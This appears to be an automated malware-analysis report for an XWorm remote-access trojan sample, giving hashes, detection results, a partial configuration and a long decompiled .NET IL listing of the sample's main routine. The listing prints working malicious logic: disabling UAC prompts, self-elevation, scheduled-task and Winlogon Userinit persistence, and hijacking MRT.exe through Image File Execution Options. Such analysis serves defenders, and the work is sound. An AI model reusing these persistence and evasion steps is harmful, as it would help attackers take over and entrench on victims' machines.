Malicious
Malicious

d9e7a5a5cb1e7f51c23118d761e844bc

Share on LinkedIn
Print
PE Executable
MD5: d9e7a5a5cb1e7f51c23118d761e844bc
Size: 67.58 KB
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

This sample is a 66 KB PE Executable identified by Malva.RE as XWorm (rat). Static analysis extracted 2 embedded or derived files and a malware configuration (XWorm config.). It matches 11 YARA rules. The file was analysed statically: it was parsed and decompiled, never executed.

SHA256
9b6ba2ef41d4ba43c707f274f4b5c9b41ed41db6a99959821b983838495093cf
MD5
d9e7a5a5cb1e7f51c23118d761e844bc
Verdict
Malicious
File type
PE Executable · 66 KB
Family
XWorm
Category
RAT

Cite this report: https://app.malva.re/sha256/9b6ba2ef41d4ba43c707f274f4b5c9b41ed41db6a99959821b983838495093cf

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential

File
Size
67.58 KB · 67,584 B
First seen
2026-10-28 00:15 · 21 hours ago
Last seen
2026-10-28 00:15 · 21 hours ago
Last analysis
2026-10-28 00:15 · 21 hours ago
Hashes
MD5 d9e7a5a5cb1e7f51c23118d761e844bc Sha1 3c5b190978d5625cab97d73ae3e2404b8a23f97c Sha256 9b6ba2ef41d4ba43c707f274f4b5c9b41ed41db6a99959821b983838495093cf Sha384 825ed72ff4d360668eeb05d40aa865ee092ee0f39a8f38f6a88fc50c4fe1f184353faaff192fc862e6f43bc2a70dbcb1 Sha512 076dd6cc47feda14065ad3867bd14af96ddec65a7fb3038e83f99b40843143cde456185717f569b0b34e41e2e0427ef17bbe4c70e70a9e1bffe38e64a69d8ae7 SSDeep 1536:hraMTMl2zLrvhea35XTbErMtx3i15n5KY2OzMetO:ZM2vbhe4TbE6nY2OwwO TLSH CC635B0477E90925E1FFAFB4AC7272454B7AF517AB23C60E08D1019A1E37A81CD42BB7
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Very high

1 malicious · 3 files
EXEd9e7a5a5cb1e7f51c23118d761e844bcXWorm
Structure
STICH beta Structural Threat Infection Chain Hash

A content-independent fingerprint of the infection method: successive formats, internal objects and MITRE techniques from the initial file to each final payload.

STICH Path = the fingerprint (canonical chain with techniques) STICH Shape = structure only Only determinant branches produce STICH Paths.
Path pe:exe>pe:rsrc>bin
Shape pe:exe>pe:rsrc>bin
malicious 3 nodes

Config. Field Value
KEY HRUmKWhuhuhuhuhuhuhuhuhuhuhu
USBNM uEEfTOhuhuhuhuhuhuhuhuhuhuhu
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential

Name Value
Module Name
Client.exe
Full Name
Client.exe
EntryPoint
System.Void STB.ptL==::GFc9O8aeeHVB4d/mLiqQp6JbZ8QCuM9TKM3joQhNfCJX9b/lmubOKv==()
Scope Name
Client.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Client
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
450
Main Method
System.Void STB.ptL==::GFc9O8aeeHVB4d/mLiqQp6JbZ8QCuM9TKM3joQhNfCJX9b/lmubOKv==()
Main IL Instruction Count
534
Main IL 
ldsfld System.Int32 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MZQPPyx/OnN32hDH1EG==
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void STB.ptL==::7kT+KwhMu/naKi==()
leave.s IL_0095: call System.Boolean STB.ptL==::L8AkRsYvSJC2sm==()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
ldc.i4 1500
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void STB.ptL==::7kT+KwhMu/naKi==()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0095: call System.Boolean STB.ptL==::L8AkRsYvSJC2sm==()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
stloc.s V_4
ldloc.s V_4
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
ldloc.s V_4
call System.String System.Environment::get_CurrentDirectory()
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WorkingDirectory(System.String)
ldloc.s V_4
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule()
callvirt System.String System.Diagnostics.ProcessModule::get_FileName()
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
ldloc.s V_4
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
ldloc.s V_4
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_0095: call System.Boolean STB.ptL==::L8AkRsYvSJC2sm==()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
ldc.i4 200
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0095: call System.Boolean STB.ptL==::L8AkRsYvSJC2sm==()
call System.Boolean STB.ptL==::L8AkRsYvSJC2sm==()
brfalse.s IL_0032: newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine
ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
stloc.s V_5
ldloc.s V_5
brfalse.s IL_00CE: leave.s IL_00DC
ldloc.s V_5
ldstr ConsentPromptBehaviorAdmin
ldc.i4.0 <null>
box System.Int32
ldc.i4.4 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind)
ldloc.s V_5
callvirt System.Void Microsoft.Win32.RegistryKey::Close()
leave.s IL_00DC: ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::gkb==
leave.s IL_00DC: ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::gkb==
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00DC: ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::gkb==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::gkb==
call System.Object STB.PwEokbC4/iiB+HiICgLn6GxoB4Z2wYmENvD4WscRScBguyQ2BRRVEaCJ+bmr==::7e0PDqxWE6VeER6Pnj0fGR/ys657FwPFUakP+B==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::gkb==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::r13lQmJPCt6u/xKjC5sfd1rhevTlU6WMrIGo0AHRi8==
call System.Object STB.PwEokbC4/iiB+HiICgLn6GxoB4Z2wYmENvD4WscRScBguyQ2BRRVEaCJ+bmr==::7e0PDqxWE6VeER6Pnj0fGR/ys657FwPFUakP+B==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::r13lQmJPCt6u/xKjC5sfd1rhevTlU6WMrIGo0AHRi8==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::13/CxpGU5Jhm95Sm9w7g2nL3Zfshcdl8KfdUZNdmscGFF==
call System.Object STB.PwEokbC4/iiB+HiICgLn6GxoB4Z2wYmENvD4WscRScBguyQ2BRRVEaCJ+bmr==::7e0PDqxWE6VeER6Pnj0fGR/ys657FwPFUakP+B==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::13/CxpGU5Jhm95Sm9w7g2nL3Zfshcdl8KfdUZNdmscGFF==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::zkoPoRjLqIkqhgLbgQRZyzydslX3sMS5==
call System.Object STB.PwEokbC4/iiB+HiICgLn6GxoB4Z2wYmENvD4WscRScBguyQ2BRRVEaCJ+bmr==::7e0PDqxWE6VeER6Pnj0fGR/ys657FwPFUakP+B==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::zkoPoRjLqIkqhgLbgQRZyzydslX3sMS5==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::Dx31MW7MH==
call System.Object STB.PwEokbC4/iiB+HiICgLn6GxoB4Z2wYmENvD4WscRScBguyQ2BRRVEaCJ+bmr==::7e0PDqxWE6VeER6Pnj0fGR/ys657FwPFUakP+B==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::Dx31MW7MH==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::58OdJFIl3NsIpS8k4cjlcec+MwSVzZhGxxlwS+T==
call System.Object STB.PwEokbC4/iiB+HiICgLn6GxoB4Z2wYmENvD4WscRScBguyQ2BRRVEaCJ+bmr==::7e0PDqxWE6VeER6Pnj0fGR/ys657FwPFUakP+B==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::58OdJFIl3NsIpS8k4cjlcec+MwSVzZhGxxlwS+T==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MOUxFroTBgoN1KWG==
call System.Object STB.PwEokbC4/iiB+HiICgLn6GxoB4Z2wYmENvD4WscRScBguyQ2BRRVEaCJ+bmr==::7e0PDqxWE6VeER6Pnj0fGR/ys657FwPFUakP+B==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MOUxFroTBgoN1KWG==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::Sk7HWtD2riuBya8hleSJ9N6rmUsC7Qee6==
call System.Object STB.PwEokbC4/iiB+HiICgLn6GxoB4Z2wYmENvD4WscRScBguyQ2BRRVEaCJ+bmr==::7e0PDqxWE6VeER6Pnj0fGR/ys657FwPFUakP+B==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::Sk7HWtD2riuBya8hleSJ9N6rmUsC7Qee6==
leave.s IL_0198: call System.Boolean STB.6w8folpp8f1aZA3Gfs5pUoqUaTkbjo6hewy5UFJ3ViEV4ucLinME0BlRF==::Yfy==()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_6
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0198: call System.Boolean STB.6w8folpp8f1aZA3Gfs5pUoqUaTkbjo6hewy5UFJ3ViEV4ucLinME0BlRF==::Yfy==()
call System.Boolean STB.6w8folpp8f1aZA3Gfs5pUoqUaTkbjo6hewy5UFJ3ViEV4ucLinME0BlRF==::Yfy==()
brtrue.s IL_01A5: call System.Void STB.LoXYfg0oAMccVtNMvsZGlFXsEWBzUGBY6IP+YQ1fFn7eAFHrKowBm1VFQq==::OVosV/yEyKtu8sADTBS7k5O70SKs0X6X9V5IZokLScbShGhL49rJmwaUHt4D1==()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void STB.LoXYfg0oAMccVtNMvsZGlFXsEWBzUGBY6IP+YQ1fFn7eAFHrKowBm1VFQq==::OVosV/yEyKtu8sADTBS7k5O70SKs0X6X9V5IZokLScbShGhL49rJmwaUHt4D1==()
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MOUxFroTBgoN1KWG==
ldstr \
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::Sk7HWtD2riuBya8hleSJ9N6rmUsC7Qee6==
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.1 <null>
ldnull <null>
stloc.0 <null>
ldloc.1 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory()
callvirt System.String System.IO.DirectoryInfo::get_FullName()
stloc.s V_7
ldloc.s V_7
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue.s IL_01EE: ldloc.1
ldloc.s V_7
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_024B: leave.s IL_0259
ldloc.1 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_9
ldloc.1 <null>
call System.Security.AccessControl.FileSecurity System.IO.File::GetAccessControl(System.String)
stloc.s V_8
ldloc.s V_8
ldc.i4.7 <null>
ldnull <null>
newobj System.Void System.Security.Principal.SecurityIdentifier::.ctor(System.Security.Principal.WellKnownSidType,System.Security.Principal.SecurityIdentifier)
callvirt System.Void System.Security.AccessControl.ObjectSecurity::PurgeAccessRules(System.Security.Principal.IdentityReference)
ldloc.s V_8
ldc.i4.1 <null>
ldnull <null>
newobj System.Void System.Security.Principal.SecurityIdentifier::.ctor(System.Security.Principal.WellKnownSidType,System.Security.Principal.SecurityIdentifier)
callvirt System.Void System.Security.AccessControl.ObjectSecurity::PurgeAccessRules(System.Security.Principal.IdentityReference)
ldloc.s V_8
ldc.i4.s 17
ldnull <null>
newobj System.Void System.Security.Principal.SecurityIdentifier::.ctor(System.Security.Principal.WellKnownSidType,System.Security.Principal.SecurityIdentifier)
callvirt System.Void System.Security.AccessControl.ObjectSecurity::PurgeAccessRules(System.Security.Principal.IdentityReference)
ldloc.1 <null>
ldloc.s V_8
call System.Void System.IO.File::SetAccessControl(System.String,System.Security.AccessControl.FileSecurity)
ldloc.1 <null>
ldc.i4 128
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_9
callvirt System.Void System.IO.FileInfo::Delete()
leave.s IL_0259: ldloc.1
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0259: ldloc.1
ldloc.1 <null>
ldsfld System.String STB.6w8folpp8f1aZA3Gfs5pUoqUaTkbjo6hewy5UFJ3ViEV4ucLinME0BlRF==::07fx14/VydPQMRojoUt51e3AG4oHXWwZAKsUoKctsCymA3ReYzYHM==
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldloc.1 <null>
ldc.i4.3 <null>
ldc.i4.3 <null>
ldc.i4.0 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode,System.IO.FileAccess,System.IO.FileShare)
stloc.0 <null>
ldloc.1 <null>
call System.Security.AccessControl.FileSecurity System.IO.File::GetAccessControl(System.String)
stloc.s V_10
ldloc.s V_10
ldc.i4.7 <null>
ldnull <null>
newobj System.Void System.Security.Principal.SecurityIdentifier::.ctor(System.Security.Principal.WellKnownSidType,System.Security.Principal.SecurityIdentifier)
callvirt System.Void System.Security.AccessControl.ObjectSecurity::PurgeAccessRules(System.Security.Principal.IdentityReference)
ldloc.s V_10
ldc.i4.1 <null>
ldnull <null>
newobj System.Void System.Security.Principal.SecurityIdentifier::.ctor(System.Security.Principal.WellKnownSidType,System.Security.Principal.SecurityIdentifier)
callvirt System.Void System.Security.AccessControl.ObjectSecurity::PurgeAccessRules(System.Security.Principal.IdentityReference)
ldloc.s V_10
ldc.i4.s 17
ldnull <null>
newobj System.Void System.Security.Principal.SecurityIdentifier::.ctor(System.Security.Principal.WellKnownSidType,System.Security.Principal.SecurityIdentifier)
callvirt System.Void System.Security.AccessControl.ObjectSecurity::PurgeAccessRules(System.Security.Principal.IdentityReference)
ldloc.s V_10
call System.String System.Environment::get_UserName()
ldc.i4 65536
ldc.i4.1 <null>
newobj System.Void System.Security.AccessControl.FileSystemAccessRule::.ctor(System.String,System.Security.AccessControl.FileSystemRights,System.Security.AccessControl.AccessControlType)
callvirt System.Void System.Security.AccessControl.FileSystemSecurity::AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
ldloc.s V_10
ldc.i4.1 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Int32)
ldc.i4 65536
ldc.i4.1 <null>
newobj System.Void System.Security.AccessControl.FileSystemAccessRule::.ctor(System.String,System.Security.AccessControl.FileSystemRights,System.Security.AccessControl.AccessControlType)
callvirt System.Void System.Security.AccessControl.FileSystemSecurity::AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
ldloc.s V_10
ldstr System
ldc.i4 65536
ldc.i4.1 <null>
newobj System.Void System.Security.AccessControl.FileSystemAccessRule::.ctor(System.String,System.Security.AccessControl.FileSystemRights,System.Security.AccessControl.AccessControlType)
callvirt System.Void System.Security.AccessControl.FileSystemSecurity::AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
ldloc.s V_10
ldc.i4.1 <null>
ldc.i4.1 <null>
callvirt System.Void System.Security.AccessControl.ObjectSecurity::SetAccessRuleProtection(System.Boolean,System.Boolean)
ldloc.1 <null>
ldloc.s V_10
call System.Void System.IO.File::SetAccessControl(System.String,System.Security.AccessControl.FileSecurity)
leave.s IL_030B: ldloc.1
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_030B: ldloc.1
ldloc.1 <null>
ldc.i4.7 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
leave.s IL_0321: call System.String STB.LoXYfg0oAMccVtNMvsZGlFXsEWBzUGBY6IP+YQ1fFn7eAFHrKowBm1VFQq==::TeA/DIAIQUWsekxUFSBOl1q0aobu==()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0321: call System.String STB.LoXYfg0oAMccVtNMvsZGlFXsEWBzUGBY6IP+YQ1fFn7eAFHrKowBm1VFQq==::TeA/DIAIQUWsekxUFSBOl1q0aobu==()
endfinally <null>
call System.String STB.LoXYfg0oAMccVtNMvsZGlFXsEWBzUGBY6IP+YQ1fFn7eAFHrKowBm1VFQq==::TeA/DIAIQUWsekxUFSBOl1q0aobu==()
callvirt System.String System.String::ToLower()
ldstr defender
callvirt System.Boolean System.String::Contains(System.String)
brtrue.s IL_0348: call System.Void STB.ptL==::96Bcwmxxd98rbAwvIa+rmosPhHT3==()
call System.String STB.LoXYfg0oAMccVtNMvsZGlFXsEWBzUGBY6IP+YQ1fFn7eAFHrKowBm1VFQq==::TeA/DIAIQUWsekxUFSBOl1q0aobu==()
ldstr None
callvirt System.Boolean System.String::Equals(System.String)
brfalse.s IL_034D: ldstr "schtasks.exe"
call System.Void STB.ptL==::96Bcwmxxd98rbAwvIa+rmosPhHT3==()
ldstr schtasks.exe
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_12
ldloc.s V_12
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Boolean STB.ptL==::L8AkRsYvSJC2sm==()
brfalse.s IL_03AE: ldloc.s V_12
ldloc.s V_12
ldc.i4.5 <null>
newarr System.String
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_19
ldc.i4.1 <null>
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::Sk7HWtD2riuBya8hleSJ9N6rmUsC7Qee6==
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_19
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_19
ldc.i4.3 <null>
ldloc.1 <null>
stelem.ref <null>
ldloc.s V_19
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_19
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
br.s IL_03F2: ldloc.s V_12
ldloc.s V_12
ldc.i4.5 <null>
newarr System.String
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
ldstr /create /f /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_19
ldc.i4.1 <null>
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::Sk7HWtD2riuBya8hleSJ9N6rmUsC7Qee6==
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_19
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_19
ldc.i4.3 <null>
ldloc.1 <null>
stelem.ref <null>
ldloc.s V_19
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_19
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_12
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_11
leave.s IL_0409: ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MOUxFroTBgoN1KWG==
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0409: ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MOUxFroTBgoN1KWG==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MOUxFroTBgoN1KWG==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::Sk7HWtD2riuBya8hleSJ9N6rmUsC7Qee6==
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_13
call My.PcsStovW+YgvL77xuwdZPj2x/XA== My.hfdyy4goDoybTzzJxcCeeKORbNW1OYxCxUOkKa==::FjoQC+F45==()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_LocalMachine()
ldstr SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
stloc.s V_15
ldloc.s V_15
ldnull <null>
ldstr GetValue
ldc.i4.1 <null>
newarr System.Object
stloc.s V_20
ldloc.s V_20
ldc.i4.0 <null>
ldstr Userinit
stelem.ref <null>
ldloc.s V_20
ldnull <null>
ldnull <null>
ldnull <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
callvirt System.String System.Object::ToString()
stloc.s V_14
ldloc.s V_14
ldloc.s V_13
callvirt System.Boolean System.String::Contains(System.String)
brtrue.s IL_04B7: ldloc.s V_15
ldloc.s V_15
ldnull <null>
ldstr SetValue
ldc.i4.2 <null>
newarr System.Object
stloc.s V_20
ldloc.s V_20
ldc.i4.0 <null>
ldstr Userinit
stelem.ref <null>
ldloc.s V_20
ldc.i4.1 <null>
ldloc.s V_14
ldc.i4.1 <null>
newarr System.Char
stloc.s V_21
ldloc.s V_21
ldc.i4.0 <null>
ldc.i4.s 44
stelem.i2 <null>
ldloc.s V_21
callvirt System.String System.String::TrimEnd(System.Char[])
ldstr ,
ldloc.s V_13
call System.String System.String::Concat(System.String,System.String,System.String)
stelem.ref <null>
ldloc.s V_20
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldloc.s V_15
ldnull <null>
ldstr Close
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
leave.s IL_04DD: ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MOUxFroTBgoN1KWG==
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_04DD: ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MOUxFroTBgoN1KWG==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::MOUxFroTBgoN1KWG==
ldsfld System.String 2n5HI1zVMXkmeTPUmBXHk73dTSTNES2etEv/ZuN0bmIbAhrr15YJ==::Sk7HWtD2riuBya8hleSJ9N6rmUsC7Qee6==
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_16
call My.PcsStovW+YgvL77xuwdZPj2x/XA== My.hfdyy4goDoybTzzJxcCeeKORbNW1OYxCxUOkKa==::FjoQC+F45==()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_LocalMachine()
ldstr SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
stloc.s V_17
ldloc.s V_17
ldnull <null>
ldstr CreateSubKey
ldc.i4.1 <null>
newarr System.Object
stloc.s V_20
ldloc.s V_20
ldc.i4.0 <null>
ldstr MRT.exe
stelem.ref <null>
ldloc.s V_20
ldnull <null>
ldnull <null>
ldnull <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldstr SetValue
ldc.i4.3 <null>
newarr System.Object
stloc.s V_20
ldloc.s V_20
ldc.i4.0 <null>
ldstr Debugger
stelem.ref <null>
ldloc.s V_20
ldc.i4.1 <null>
ldloc.s V_16
stelem.ref <null>
ldloc.s V_20
ldc.i4.2 <null>
ldc.i4.1 <null>
box Microsoft.Win32.RegistryValueKind
stelem.ref <null>
ldloc.s V_20
stloc.s V_22
ldloc.s V_22
ldnull <null>
ldnull <null>
ldc.i4.3 <null>
newarr System.Boolean
stloc.s V_23
ldloc.s V_23
ldc.i4.0 <null>
ldc.i4.0 <null>
stelem.i1 <null>
